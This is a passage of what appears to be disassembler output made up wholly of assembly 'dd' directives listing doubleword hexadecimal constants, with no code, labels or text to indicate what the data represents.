		dd 8E199D3Bh, 0D0490193h, 2CACDF1Fh, 9C60D497h,	0F277BD00h
		dd 0A2D54D2Bh, 156D0036h, 7DAAC09Bh, 1600D047h,	9C62FE4Bh
		dd 825FA3h, 2B8B1237h, 0AADE58B7h, 9075D6FAh, 3D4B0307h
		dd 80002E66h, 430CA8h, 74120B44h, 0B88CF1A1h, 0E4017CE2h
		dd 111BBFFBh, 303493h, 0E660FDAEh, 3181005Fh, 0DB56614Ch
		dd 86009D10h, 0F57B34Dh, 7FC97D2h, 64997C96h, 0BA1880BBh
		dd 200A2F2h, 69EA7246h,	0E5B0D5h, 2A06FB08h, 60E8849Eh
		dd 0BD0AFD00h, 0D9911DCBh, 68ED1DF0h, 5C668764h, 86AC3002h
		dd 7B3F4853h, 0E7B20765h, 33006F07h, 3A9A8Dh, 0E0EABADCh
		dd 31C3ACEFh, 0BD537807h, 0C710760Bh, 0C4CF1Ch,	807CC9BAh
		dd 61FDF87Dh, 82A17E00h, 0F2251295h, 3B6A00C3h,	5DBC1D26h
		dd 9900A6F3h, 787EA852h, 0C7CCC8h, 0F6BA359Ah, 0B93B3F90h
		dd 40A5A00h, 0FEE0758Ch, 388BE866h, 0EC8F432Fh,	8240E74Dh
		dd 0BDACF6F5h, 8D8E5C03h, 0F8ED3950h, 0FC979C0h, 8CAB2E02h
		dd 6F4DA8A0h, 1607AD64h, 379DD59Fh, 0AA2C7EE0h,	3DEFFCCAh
		dd 88877DC7h, 50792A76h
		dd 5C484296h, 4E8EA603h, 0C116F73Fh, 0C3204A3Eh, 0E8AA0FF9h
		dd 17F9229h, 16ACA9Ah, 0F89F21D8h, 0A80728EEh, 4419B2BCh
		dd 8B96C2C0h, 0E650085h, 93C1E966h, 247390BFh, 2AEC870Ah
		dd 0C800E3EDh, 5564D6A3h, 0F407CC3h, 0D71A9F01h, 450F6540h
		dd 0EE0041EDh, 0EFE83919h, 0A8C78Fh, 21E61AF2h,	851F289Dh
		dd 0FDBD0D01h, 0CB8667B7h, 0FA7B73D0h, 0CC4F0384h, 48350394h
		dd 6E0D49E8h, 806F3D3Ch, 9A73C1E0h, 98F4B0h, 3CCB823Ah
		dd 369E6639h, 0A82B311Fh, 0C5D2CD80h, 168456DEh, 0EF43C6ECh
		dd 0B6F84E00h, 8F12F4h,	0B39DEB2Ch, 16DED3A3h, 0D2C0CB00h
		dd 250D2AF5h, 0BAF4B1h,	0F985EF7Eh, 17A55222h, 4800A373h
		dd 0AC1FC694h, 36175A6h, 0BAB78262h, 92B9A07Fh,	0C1F4E0F5h
		dd 9890B800h, 2AAF0ACCh, 0FE637B5Bh, 45560043h,	193A61C7h
		dd 0FB98CEBBh, 0EC738B00h, 8C30C1Eh, 0BC3600BAh, 962E332Ch
		dd 0F90F209Ch, 0A54358EBh, 0BCC7CF03h, 6E718640h, 3AC900D9h
		dd 0B2DBCAD7h, 20006BF4h, 8C67760Ah, 0F99B62Fh,	0F70CC83Ch
		dd 6BD7AE00h, 36001FEFh, 9E4F1492h, 0EEB9A7D5h,	9FE8005Dh
		dd 0A2405A63h, 0BB7494EDh, 200CBA01h, 1B04862Bh, 0BFF6ECh
		dd 94295CE4h, 0A223570Eh, 3814E500h, 1CE94EADh,	24BF00F1h
		dd 0FCEBB6FAh, 8F0F0EF7h, 0E07B017Ch, 0E75211A1h, 59A83E5Eh
		dd 0A0582B01h, 0C8E457B5h, 32002412h, 6EEF97EEh, 3B02Ch
		dd 446FC67Bh, 16ACD0ADh, 8FFB681Ch, 83921E00h, 91AEDCh
		dd 299FFAE3h, 906917BAh, 0D1C8F803h, 0D083FBEFh, 0A29151h
		dd 208227D3h, 29E67A79h, 8FD6CB03h, 0B02FCC9Dh,	367347h
		dd 0AAB5FBA3h, 42756434h, 58DEF600h, 2ECC02CEh,	0F8080090h
		dd 41A6B820h, 0D40036F0h, 0BEF4527h, 7377081h, 836C3C7Bh
		dd 0ECB70011h, 943E536Eh, 54300745h, 0C0FE9C0Fh, 0B7103D82h
		dd 55310035h, 0C1762DCEh, 0F6001C0Ah, 687C5154h, 6C3370h
		dd 0FE4D7F82h, 0EB8B05E1h, 1800E276h, 0E325FCDFh, 1661CC1Eh
		dd 2E2FA9h, 8F7DBB6Dh, 47018C5Dh, 0B9D06545h, 0C1C9081Ch
		dd 5342E8h, 49CBF643h, 27A20352h, 820023FCh, 1538ABD5h
		dd 1B86E2h, 0D83601B1h,	0CB5463FDh, 0AFB9FE00h,	4DE6BE76h
		dd 80FC0068h, 79D70365h, 44015601h, 1B4218EFh, 0FDCC2AAh
		dd 0BCC3000Ah, 779A719Bh, 8B003DD6h, 95E7611Dh,	5B5EF0h
		dd 6F949609h, 0B927F5D0h, 7F0149B0h, 0DCD1F391h, 5EC01E5Ah
		dd 25FFA9Eh, 27774B40h,	114839E7h, 0B70F5DA4h, 0A3545592h
		dd 0FB18D4FBh, 5E799119h, 663660E2h, 0FECE4h, 0E3BAFD61h
		dd 63E77CA0h, 0EC0B2200h, 69F65997h, 914E130Fh,	0C01E1E07h
		dd 70C6E12Bh, 3407DFD3h, 25AF2272h, 0F5C47F90h,	0A26006Dh
		dd 8D15439h, 4009FBFh, 123CA2C5h, 0CE4410h, 1A0AF9B2h
		dd 0C8818BA8h, 29D7B502h, 407B7EE2h, 9FECC8h, 553AA4A5h
		dd 1C0177DCh, 0DAD37500h, 0B7CD7A7Eh, 5C370012h, 0AD2A27ACh
		dd 3F000B80h, 0FC8D6677h, 121F20E7h, 3BDB7Dh, 506DA59Ch
		dd 0B8F0D907h, 0C55E8500h, 7951488Eh, 52F7009Fh, 15DE57F3h
		dd 0F01DC461h, 70CFCA6Ah, 0A3C62216h, 0FB276012h, 96B11FEAh
		dd 0ECE800B8h, 0B7EE06C8h, 0CD516000h, 5BEFAF6Ah, 50DE0089h
		dd 7EF286D4h, 0DB026F29h, 0E61FAE84h, 52007FF4h, 7784111h
		dd 5173400h, 0C08DB5B1h, 0F9AF00A2h, 42A0DED1h,	17B8C499h
		dd 69C91E00h, 1C7B9F0Bh, 6D552602h, 493900F7h, 0A2EAD163h
		dd 547448h, 0B7A405A8h,	0CCC70Ch, 4E3B59EEh, 0B1B2701Dh
		dd 3FE82500h, 4659A7Dh,	4D5500C8h, 9D451E8Ah, 0BE012F1Ah
		dd 7C076863h, 90DFF57Dh, 0C4DE10h, 0E05D93EDh, 1D73E4Bh
		dd 0E1EB1F00h, 13E67856h, 927B4Ah, 0B0585750h, 30852D83h
		dd 0AAF27001h, 235F10E3h, 0A01724CCh, 72AC1ECBh, 0FD9F00C5h
		dd 0B4BCDFEh, 0E000F26Dh, 722ED3DAh, 65CCD0h, 7ED787B3h
		dd 0BC0A75B5h, 2A509100h, 3D67FF23h, 47DCF925h,	0A2A53934h
		dd 8DC4A700h, 0DC6EE2E4h, 36EDEB00h, 0EF88A139h, 293C003Ah
		dd 0E5603064h, 0BE000ABCh, 8A2DB220h, 0E03B493Fh, 72FD00B3h
		dd 0E83D8F24h, 34FE0B2Eh, 0EE10A400h, 5020DA84h, 93B1006Ah
		dd 0F3D21592h, 0D9F46FD7h, 1A3AC00h, 690B6466h,	0F113032Ch
		dd 341E7018h, 85C83EDBh, 0BE7A42E3h, 0B514DF00h, 0DE4874FEh
		dd 0D3CB0E25h, 19E123CAh, 0F82EB793h, 0A1F2DA9h, 2B4298FBh
		dd 0C3510C03h, 0C879B3E8h, 0A819B75h, 0BAB43865h, 0EF1EEAh
		dd 58F2E0A1h, 934CE4CBh, 0DB190007h, 65A5E8B5h,	0C14A006Eh
		dd 49A017FCh, 9900116Bh, 0D3861FD5h, 74EB42h, 0B184544h
		dd 34F1B939h, 0DF31F800h, 0AC3D589Dh, 17291D33h, 0BF6EC007h
		dd 0A64FC030h, 20D4FA00h, 8EADDD3Bh, 77F50010h,	5ED7F902h
		dd 0E203D61Ch, 0EA1B8354h, 0C7A59009h, 0DC610271h, 0C89C3598h
		dd 993E8760h, 31EE7300h, 0E88A8E5Fh, 9B440020h,	0C34CEA49h
		dd 37002F95h, 0F3C505A7h, 51C734h, 0FA23B177h, 7E39B67h
		dd 0A003BEEh, 5DE6F68Ch, 52C6ACh, 57BD4775h, 9BAA2126h
		dd 3320A400h, 0A0AE6F46h, 0A6090004h, 867F2D60h, 0F41EF07Eh
		dd 0B556D518h, 3A8CA00h, 7078285h, 56CA1D17h, 982CA046h
		dd 0FE00A729h, 0F632543h, 7A60EFh, 9DFB6E3Bh, 0F891E3F5h
		dd 96050A00h, 0C8496D2Eh, 1DD20053h, 83F6B0E6h,	26009823h
		dd 44F439Fh, 9657A7h, 0CCFC542Ah, 0FFBF6981h, 565A261Ch
		dd 0AC054500h, 0AE09FEh, 0F965B8D9h, 0C9BFB9ECh, 0C32FD800h
		dd 0B46E4182h, 0DCE10720h, 0C8E73Eh, 0FFA9BB9Dh, 0C1166D00h
		dd 1F649801h, 3C0B002Ah, 0D62DA4DEh, 0D0BD1352h, 0BB1D008Bh
		dd 0DAA35350h, 863AABC5h, 0D8C087A0h, 4D30D260h, 98A4F2h
		dd 0B9010780h, 553B2F7Ch, 9C484978h, 61EC00EFh,	0B76D252Bh
		dd 7C331DBFh, 0AB4EC33Fh, 0CA90DD1Eh, 77E48FBCh, 0DB05A000h
		dd 50F36F2Fh, 0AD320062h, 8ED17896h, 2CE2E192h,	0B421CB00h
		dd 407E2E89h, 9C0E3A84h, 0AF735880h, 0A0388FDCh, 0D689000h
		dd 0B0BFC016h, 9F7100A8h, 8AD75ABDh, 0CD009D4Bh, 77E8F992h
		dd 9864049Ch, 44E600A6h, 6A5936D9h, 7F008CCFh, 0F19CBE4Ah
		dd 0A9519Fh, 3C8396D5h,	0EF5F0880h, 7F193D00h, 0C9033FDEh
		dd 65D900F8h, 0D8F607CDh, 0CC74F492h, 0F0B3CB00h, 8F3F56DFh
		dd 0E026000Fh, 77455865h, 0D5FC9D3Bh, 202CD000h, 92B170EDh
		dd 0EA6E00C4h, 8536F425h, 8C125721h, 3700344Bh,	5E332A51h
		dd 0F4D02698h, 86EF00C2h, 62BB15FAh, 5A43F02h, 80F00668h
		dd 4B4834FDh, 2EBC01D1h, 9B6BE0BFh, 282C60BEh, 9A2C3300h
		dd 0A8D31316h, 5C5500A7h, 8A12FC0Ch, 5800BC75h,	0C09A528Ch
		dd 76332714h, 2DF4001Ah, 0E0EEBB84h, 0D0905994h, 711F537Ah
		dd 82C0C31Bh, 73B086DFh, 0C6D11EC1h, 64B4C06Dh,	67DBD05Fh
		dd 32D9DD07h, 4630BBC9h, 21E99Ah, 0EEB9AE0Dh, 0EA59A427h
		dd 0B2B81300h, 0C3D45F57h, 100800E6h, 136F371h,	0A62667C5h
		dd 0DD03F98Dh, 0B738CABEh, 5E1EB3C0h, 2256008Ch, 68D8F96Bh
		dd 62E6A66h, 0AD00012Ch, 3763A693h, 0FE7D95h, 12CF7D4Bh
		dd 170E8931h, 3468C8FFh, 0B297F50Fh, 0A0270314h, 9B3388BEh
		dd 5B7900EDh, 0D80619A4h, 9603E07Ch, 77C161ABh,	2E27F06Bh
		dd 87340797h, 80A70858h, 6C185EAEh, 28393501h, 0F9B1E90Bh
		dd 30D0F6E1h, 0B3AC0084h, 0E27BD5CEh, 510F75A5h, 0C0A6E61Ch
		dd 935C27B5h, 1336000Fh
		dd 0E33264B3h, 62F81D87h, 760990A0h, 0B07B5B00h, 0C00DC944h
		dd 247F0094h, 9C9B2E95h, 0E107C401h, 0B9FDE629h, 0F797B80h
		dd 443400ABh, 4D25C5E9h, 0CB031742h, 98941FD0h,	0C378A233h
		dd 0EA4CE007h, 0F24E001Bh, 21D582ADh, 0B5002C0Bh, 0CF45A8B4h
		dd 3AE1ACF1h, 460034F8h, 959E9096h, 0BC007E65h,	0B649DF4Ch
		dd 0EA15546Fh, 5B311C9Fh, 0B40D40A1h, 0CBE7EE0Ah, 0EA8A7D00h
		dd 4009431Eh, 756C000Eh, 0F5B7FE1Dh, 501FDDC9h,	2780F354h
		dd 0C842B8D7h, 2AD91CCBh, 407D5C3Ah, 0EB8C192Dh, 0B400A13Eh
		dd 0C1ECD4F7h, 38F5409Eh, 49800A81h, 3912919Bh,	0A12CBE0Fh
		dd 0C9001A64h, 0F3DBEF55h, 0C009001Ah, 0B6D85C21h, 0CE0012CAh
		dd 286609Ah, 529E8Bh, 0EC9EC3Fh, 8E68C6B9h, 65C41E0Eh
		dd 0ED3520DFh, 3840C2D2h, 4835723h, 9A7664Eh, 363FC188h
		dd 31766D07h, 0A0CE3E1Ah, 0CA8D8297h, 2CB905F9h, 80771F93h
		dd 14747835h, 5E39A200h, 0B3AF7B7h, 90DA0065h, 0AE92697Ch
		dd 4500A435h, 0AA92E7Eh, 78EE6053h, 0F28400C8h,	0DCA83490h
		dd 0E60005A3h, 0F15546F7h, 0EC8052B6h, 24E501A0h, 0EE01F04h
		dd 6CD56079h, 69A0C01h,	4D4A59EFh, 0E281C8h, 2720AA87h
		dd 5312CCACh, 2671B409h, 0FBD0803Bh, 0EE5C4566h, 50480060h
		dd 0F7EE5FDh, 0B1006CA8h, 681315Ah, 493E73h, 27EA2CEEh
		dd 0CF6F7D6Dh, 51FCB90Fh, 12F5A00Eh, 746907h, 0F8BA550Ch
		dd 451E4479h, 466E1900h, 0DF60D613h, 0D4C400ACh, 0E76B7A03h
		dd 9500DD92h, 0B1ED11BDh, 0D93F58h, 7BEA5CEh, 774433F0h
		dd 4A6A5F00h, 0E954D082h, 9C743AA4h, 3C597600h,	0F12B7A05h
		dd 0CE3B0600h, 235DD66Eh, 83160039h, 0A9FB93C2h, 531E625Ah
		dd 4000EE84h, 0FF7D88A5h, 0B2030146h, 662B30B4h, 0C28CD8DFh
		dd 498B9E03h, 0F8C57CD5h, 725D869h, 0C023FA8Ah,	8B9460A6h
		dd 97008D47h, 0FF559590h, 0A21B9Eh, 2DBD9180h, 9BBA8ABCh
		dd 0F94FCF00h, 0DD3041BBh, 34250071h, 39C2FF7Eh, 50007C11h
		dd 0CD056646h, 713EA1h,	912D5F36h, 34FA06A6h, 56305500h
		dd 0C7E36842h, 0B1EB00E4h, 43BD948Eh, 7900FA0Eh, 71F2D06Ah
		dd 98A01385h, 0D6E003Eh, 801C98D9h, 0E800C7A6h,	0B406ED9Ch
		dd 0EE56390Ch, 7DAC3CA3h, 80A9005Fh, 858345A0h,	133EBC12h
		dd 449D9D00h, 0FCB0EC8h, 4A02D759h, 8269E4E0h, 14004EDCh
		dd 0B82F642Dh, 0F00F94h, 0D3211FA1h, 9DAD6B6h, 88717700h
		dd 83134CB7h, 0A47E00BBh, 0C45B0EEFh, 5503D1F5h, 33CBF844h
		dd 836DE853h, 0ECA0052h, 466F61F9h, 0D900B105h,	0EC95BE54h
		dd 35DE5h, 2BABC356h, 40FCBE8h,	0EF80FF1Fh, 3E15D340h
		dd 0D75E08h, 83B76939h,	3197F3E3h, 3841703Fh, 113A06E5h
		dd 0B87623h, 0AD0237C5h, 7DF7B9EAh, 4A0EAB00h, 2B59E89Dh
		dd 0C62E0330h, 6A40F5C3h, 0A68109A8h, 7B661B00h, 87EBFF78h
		dd 0BA080067h, 0B1D74F6Eh, 0B4F67FCFh, 369AB6C0h, 72F859E2h
		dd 3E177D20h, 0CE03D5B6h, 34BED35Ah, 0E05798C9h, 3B00906Bh
		dd 0D41973BFh, 71AD4B97h, 81420043h, 0C034C495h, 5B00899Fh
		dd 7AF0A666h, 7D0D51h, 0FE9D81C3h, 581064BFh, 2A338D0Eh
		dd 7BC800A3h, 0CC94ADh,	0A90DE548h, 0DBE2ED45h,	364B5604h
		dd 8280A157h, 1D78232h,	90A59AF5h, 0C8EED306h, 0FE074BAEh
		dd 606F8A07h, 34D71670h, 54DF0B7Ch, 3300DD1Dh, 5C0BFE09h
		dd 0D407E509h, 0F4C983E1h, 0CD34B87Fh, 0B80D0BFAh, 0ED80CF96h
		dd 0FE8317D2h, 85C3C13Fh, 0DE5E846Eh, 76E2BA80h, 1A8B0399h
		dd 97B43D82h, 6E1CF5A8h, 0FA9C7B1Eh, 647A8641h,	0A4D08216h
		dd 41E4003Dh, 9D9962DDh, 0B70E60C9h, 0A04F6D44h, 7966D4A5h
		dd 8A7B00E4h, 0D924D898h, 0A90077E0h, 744EC475h, 765E937h
		dd 0FDE28EA0h, 0CD2D7009h, 0CC1D1AA7h, 0B900195Bh, 3B804A66h
		dd 29F051h, 2E81F50h, 860C7E36h, 57E35B04h, 3880E4E6h
		dd 3F9948C4h, 0E780CA1Fh, 0B173A6DCh, 280318BAh, 6D458982h
		dd 9EBC80D7h, 978B5h, 4806F3E5h, 0DEAB8478h, 0ADD74200h
		dd 3D856923h, 2B660082h, 6DCC938Bh, 9512D4FEh, 8C0474DDh
		dd 1B8091F1h, 5D515Ch, 9DFC93F0h, 13B95028h, 0C5C9A400h
		dd 0B8E73766h, 0A08D005Dh, 0F9DBA7Ch, 0F200022Ah, 0B3CD64D0h
		dd 9E646F3h, 4C50A72Fh,	5DE2F480h, 0DA000C07h, 0C0108162h
		dd 0E87BFC41h, 49F4A2h,	0F1333AE9h, 0F78675E7h,	0AC00EFF8h
		dd 0D2B8032h, 0D9B970h,	0D2F2C3B8h, 95790496h, 0D1A52400h
		dd 4EBDC609h, 0EDAB00E0h, 0CCB96AFCh, 7800DC2Eh, 0BA5E2654h
		dd 901EE2h, 0FB745B94h,	31E6F7FDh, 0E57DF200h, 5768146Eh
		dd 0D4410976h, 4081FAA1h, 0F8D1F977h, 4D12D62Ch, 0A3008864h
		dd 0F70BFD49h, 71E2E8h,	7C19368Ch, 0F13CA98Dh, 41C7BE00h
		dd 81C8A21h, 0D0E51E82h, 0C1E801h, 99843BD9h, 0B76BC14Fh
		dd 600DB200h, 0EBB9E18Eh, 1F690070h, 6D8D9CDEh,	0E4CDC01h
		dd 0FCAE16D4h, 99000E1Ch, 4AA15EFDh, 0C2CD1DA3h, 0D4968076h
		dd 65D837E0h, 3E437100h, 98BD8775h, 5FDFD44h, 9F74DCh
		dd 0AED6C35Fh, 4A42BB4Dh, 96BD58h, 654B7D07h, 52909Ch
		dd 7995A936h, 22ADE87Ch, 8021AB3Ah, 46BF02Ah, 0FCD0F54Bh
		dd 976D1F33h, 3CB540F1h, 59365B4Fh, 26F49E0Eh, 280A2014h
		dd 0FF66339h, 570FBE13h, 9BE049EEh, 1B275E3h, 0A600A4E2h
		dd 0F2EC4CA1h, 1CBDEFB1h, 9DF0202Fh, 3F65409Fh,	0C880E215h
		dd 9032875h, 123B8E24h,	3373E86Dh, 5BA5003Ch, 9FB7DCAEh
		dd 0AA79CF58h, 4FDA4800h, 8206E08Ah, 0D46D00F9h, 939B59A6h
		dd 19017BD3h, 0A7CFEF63h, 0FE4192EAh, 0E42089F9h, 0E74A1D20h
		dd 45F301E5h, 708BF880h, 0FA03B184h, 0F1175AA6h, 5829C802h
		dd 3C8300DDh, 3655EB30h, 5258F538h, 870200ACh, 0D52069A5h
		dd 95650473h, 0F053227Eh, 0AAE21D29h, 294AE00h,	38F62B6Dh
		dd 2A0400BEh, 2DD09EDAh, 0FD1FB049h, 0F8842250h, 9C025F1h
		dd 1DC38798h, 631169h, 0E9B4B135h, 2E0013C0h, 67A2B90Ah
		dd 1EBA5232h, 431710h, 0F43409D4h, 1E58508Ch, 1F941F0Eh
		dd 0A310AE00h, 0F5F0C7h, 0CE5C2BD9h, 0B9C43097h, 584F81Eh
		dd 609D39C0h, 0E8434Bh,	3A20152Dh, 92FDCB91h, 170C4100h
		dd 0B36A086Fh, 9AB097h,	0D6405599h, 0CE3E1DEEh,	25E83Fh
		dd 384C32DAh, 0E37984h,	8B685FA4h, 42A0AF12h, 9923F400h
		dd 0A90CCF25h, 0E883009Ah, 1DE0C208h, 4900B743h, 5E1BB004h
		dd 3028Fh, 7C2A2676h, 436E10EAh, 0FDB11A00h, 513B489h
		dd 69481CC9h, 66584FEBh, 100BAB6h, 60E0021Eh, 4BB500ECh
		dd 39327085h, 9A0781A3h, 86893C13h, 8E0E08E0h, 3A8B3FB5h
		dd 69039E00h, 4BDD8439h, 5990E574h, 0C16AB00h, 0CAEB8CA7h
		dd 0E97E00D6h, 2B921488h, 83007607h, 0AE6FF2BCh, 5A70C9h
		dd 0B8724C2Ah, 0DF1AEABEh, 0E2AFBB00h, 75F43061h, 27DE17C8h
		dd 0B7C50031h, 78BE96F1h, 32CB600h, 0EAF2F05Ch,	0D8853D8Eh
		dd 4C7F24h, 0F797E4EDh,	251E6F18h, 3E40C602h, 35FB2CE2h
		dd 0B1840051h, 0BDD11619h, 0E1007E64h, 0A9DB602h, 0B0F1907Dh
		dd 0C36000F3h, 0B443BA61h, 81001796h, 0B6035E74h, 6D7FC55h
		dd 12917D53h, 0AE074CBBh, 0E2ABCEF1h, 8F353070h, 0DCF5005Eh
		dd 3A1C7E05h, 3F035995h, 33390A7h, 61A8E8E4h, 46A21D92h
		dd 93F5007Eh, 0C0ED7240h, 73B4E800h, 0A21B5F0Eh, 5B1403F0h
		dd 2447B2Bh, 9D49AEA0h
		dd 0AA650B00h, 0EAF5DD50h, 0D4E0EC9h, 0C1E043BBh, 838743Ch
		dd 80F9733Ch, 1DEB91ACh, 5CE7BD30h, 801FC36Ah, 0CFB81D83h
		dd 0E340555Bh, 20AFDC87h, 0F7CB5C00h, 0EA1D568Eh, 263A0040h
		dd 0B9766D01h, 37F04D87h, 7C20D00h, 0CFDC17Eh, 0EDEC0029h
		dd 58BC093Fh, 0D307F79Ch, 6D13267Ch, 0D6EE9950h, 76BE00B7h
		dd 6E88F480h, 0FA0050D5h, 0A03C8278h, 6C64F3h, 769F138Dh
		dd 0CBEAAE74h, 12443400h, 0A1AF3E21h, 0CA202DDh, 4BECF97Ah
		dd 6CC8B6C0h, 0EDFC5D00h, 0B3107147h, 75BD0FBCh, 0E847F8DEh
		dd 52A07E3Dh, 483BB0FEh, 0FA4CA704h, 7CC1AD56h,	4AD81F2Ah
		dd 91E009Eh, 3302DB75h,	5700BEAAh, 0B6230CA3h, 0FC644263h
		dd 960F00EFh, 51142880h, 16002692h, 1CDC0611h, 0AD71FDh
		dd 0C7B6CA3h, 0D8B66BB5h, 7CCBF15Ch, 0D53AC00h,	5B59D25Fh
		dd 0E1051733h, 8D880017h, 0B2F12A5Eh, 39FE860Ch, 342D6C1h
		dd 0FBA291B9h, 9EC83E33h, 0A7013C38h, 0C2515F4h, 0F9FCA52Dh
		dd 0BEF21Dh, 12B85B31h,	97BB794Bh, 21B60F00h, 0B1EB3DD3h
		dd 6C40001h, 80775C9Fh,	8D00ECB3h, 19F7CDB2h, 0E31AD8h
		dd 6AEF21B5h, 3A813EAFh, 0AEEA31B8h, 1F517A00h,	8C34DB9h
		dd 329A00A4h, 0AB99DB27h, 0FA1C6A13h, 80BE6136h, 0CA249C0Ch
		dd 0A1A38Eh, 0E00EABC4h, 0CCE17998h, 92F47B00h,	0C253B269h
		dd 5A6107C9h, 4139CA62h, 0FC3F637Ch, 0F9004A2Fh, 0DECE6E18h
		dd 3EF8BAD4h, 0A4804B31h, 0DD5BA057h, 0AD00490Dh, 6610F597h
		dd 0C83518h, 0C447C164h, 36D2C968h, 0C6A0067Ah,	22003303h
		dd 0B1EAEFA7h, 26D1454Ch, 1DF17Ch, 8CC4BC27h, 0E000571Fh
		dd 72B65D64h, 70F5897h,	16C1AEFAh, 5F891054h, 871E14DDh
		dd 0E340BBABh, 499868A3h, 7ACE98E6h, 0CCF50097h, 7A72781Bh
		dd 8E4C57DCh, 36670ED1h, 53D0A0E5h, 1F3FB223h, 8005C6FAh
		dd 9FAF5245h, 0B80E7FF4h, 20F27BD9h, 0EF7CC94Eh, 72BA0004h
		dd 0A686E310h, 0A2E0A92Eh, 0F600AEE8h, 259FCD60h, 0DAF5E5h
		dd 22769623h, 0DF4585D8h, 1C211000h, 0AC617DE4h, 0A01A018Eh
		dd 0D03A93C0h, 7B8C84Ch, 2D0FFF2Eh, 0C0CA190Fh,	3D4940DFh
		dd 0D9AC1FF7h, 0FA8B002Ah, 0EF939EFBh, 0BCD34C00h, 0E243C51Fh
		dd 13983Ah, 0A079D9AAh,	98F60C59h, 9048AF71h, 7C220026h
		dd 0A1E0527Bh, 64510046h, 0DC4F9344h, 0C3005B92h, 85692FEEh
		dd 0A1357134h, 0A0BDF6CDh, 6E9C1A8Eh, 0CAB1E4E0h, 3700CD30h
		dd 94F1613Ch, 0BA9A96h,	1EAB8B36h, 95EBEDB9h, 6525DF17h
		dd 542F2704h, 57C71BC0h, 0DDAE07D8h, 0B1F4FB06h, 3097B5A2h
		dd 0DF01770Ah, 5B162DEAh, 51602785h, 0B16F0006h, 15B3B451h
		dd 7B0099EDh, 83FAA5E0h, 1EB2FEh, 525EEF0h, 0BC227251h
		dd 1FB6DC00h, 0CAF24F8Bh, 0E60E0701h, 63CDF8BFh, 2E0067E7h
		dd 0CBFEA37Bh, 0EAE00752h, 0FF710061h, 0B66949DCh, 75988CE5h
		dd 276EEB00h, 0B5879E06h, 7B6200D4h, 2F5128D5h,	3B0BFF08h
		dd 0D8CBBBh, 9E8EFB92h,	24F983Ah, 84CC060Bh, 59E11512h
		dd 0A360EEDAh, 481F0EB6h, 69805CE6h, 23B2D9C1h,	636C0150h
		dd 27332864h, 8D057004h, 80B4BA3Bh, 0AF62792Bh,	3CFE0531h
		dd 89807433h, 46EE2E7Fh, 4E062F16h, 0A9ECC419h,	0BEBF1C24h
		dd 50D740F9h, 819CAD86h, 5835463Dh, 0A2007454h,	5CE49ACCh
		dd 3230844h, 771DB0B3h,	0DED829FCh, 0E91F6275h,	1400CE57h
		dd 99F78D76h, 1D3B1743h, 0C1410061h, 67D14CD5h,	7A00C5F2h
		dd 8FCB1F4Bh, 5CD6EADDh, 7068A4h, 4ADEB9D2h, 0A1AC888Dh
		dd 29015500h, 8C576C4Ch, 84B800F1h, 0ADE1A378h,	0D8007D6Bh
		dd 5CFACB5Ah, 1DCE145Fh, 40F27CF1h, 0EB81E121h,	0C805AADBh
		dd 738C5883h, 88A62C83h, 260659h, 6D4FF4C3h, 4DF7B5DBh
		dd 52967205h, 6BC0A5CEh, 3795951h, 446E0BEh, 708F39ADh
		dd 1C5B83AEh, 933E1F63h, 3CD4A0A0h, 0DBD61F37h,	1769039Eh
		dd 1190C4EDh, 0F32D242Ah, 0E3554F5h, 0C700D3F2h, 0E38085F6h
		dd 185ACB00h, 9CB97F1Eh, 9F70002Dh, 5EF17DEEh, 0D0ED2A3h
		dd 40CCDF62h, 68DF479h,	12550035h, 98AD924Dh, 1A00144Eh
		dd 0F47F8807h, 0FB41D8h, 69FF3C6Fh, 0EF2ED9E8h,	0C7BBB500h
		dd 0A4902818h, 2C360098h, 0A624F572h, 4002A32h,	643DF926h
		dd 3F3817h, 0DCB20B3Ch,	0D9D18FC7h, 43B72800h, 0BC59A15Fh
		dd 0E5FA8Eh, 0D265FA72h, 63EC84BBh, 0BF1E7FFCh,	1CC35D77h
		dd 0F8464E24h, 58D8299Bh, 8A0776B2h, 0AC3DAC75h, 0A00039D6h
		dd 31CDEF1Bh, 1B36764h,	36C10F32h, 0D09CD7D6h, 9729A19h
		dd 0DFDA630Fh, 5B8C13Ah, 85603B82h, 5BBB0023h, 0E2489941h
		dd 0FF1FD5D4h, 0BC80D201h, 0D64E1895h, 97E70052h, 28EA108Bh
		dd 7A00DD45h, 30018119h, 0A89637h, 6BC80812h, 4E3E82A2h
		dd 80CB2D00h, 9C791655h, 86A900EBh, 0FD74A024h,	22009A6Fh
		dd 0BED9E718h, 0F37F0Fh, 0D5ECD73Dh, 5156AD6Ah,	81FBE92Eh
		dd 0A4F8EF00h, 0F084F2h, 6B77D461h, 88701245h, 7C1CF50Eh
		dd 78FE0017h, 0FCF4DDh,	0C486DCAFh, 0BE706DE9h,	5F65EF00h
		dd 1B7B29EBh, 4C610002h, 2B24A0ABh, 0B7009934h,	0C6486A7Ch
		dd 2D979Ch, 0C58806B8h,	5CB4823Ah, 0AD15BA2Eh, 19EFB600h
		dd 0AD028DDh, 9D39D248h, 87DB1CE9h, 166A2B25h, 0A80FA67Bh
		dd 0E00DEC35h, 2F71F13Dh, 0E52601B0h, 0E4E62232h, 0C5642015h
		dd 0F772C000h, 6C2F41Eh, 387908Fh, 527F4B9Ch, 42803159h
		dd 4A01C1DCh, 7739EB8Bh, 0D3C850C7h, 89ED0032h,	0A182A32Ah
		dd 7078C128h, 0C0A62201h, 372BF052h, 17C7CCh, 4A4496FCh
		dd 1EE27498h, 3B70452Eh, 0DDC83D00h, 1E1253B9h,	3A268D65h
		dd 7F2FA100h, 0D9191C14h, 0BC5E3D00h, 0F26043F1h, 3CE0008Bh
		dd 998E0EBFh, 0AD903394h, 38C81800h, 679B885Fh,	7310009Ch
		dd 48B6FD80h, 0E5006E28h, 7DBBA8B8h, 1C19BFD2h,	0C047CC51h
		dd 3DDE0A06h, 611DFB8Ah, 1AC5DAFDh, 4181848Ch, 0DBD30BC8h
		dd 9CD88A3h, 5D0C00D6h,	19895FEh, 0BF0EB6DAh, 80EEE0DDh
		dd 1808DF7Dh, 4F25Ch, 0CC8BFA1Dh, 0E3244755h, 7346D701h
		dd 9483C125h, 2CADECh, 0B26D5D38h, 7A3C8D8Ah, 9D764400h
		dd 0CE36D55Ah, 9C7F12h,	81F51559h, 0AA7A5FE1h, 0EBA54800h
		dd 8DAB1BD7h, 2D090051h, 84E49901h, 301F32C9h, 5847EFF0h
		dd 0F7037ECh, 12A03A3Fh, 2A4A61h, 91733B2h, 4000D307h
		dd 4E78361Fh, 73ACD470h, 9FF9004Fh, 56BEDF64h, 29001A38h
		dd 5A74BB65h, 143ED543h, 0C25DDD3Fh, 424F8F1Ch,	0B37C9C3Dh
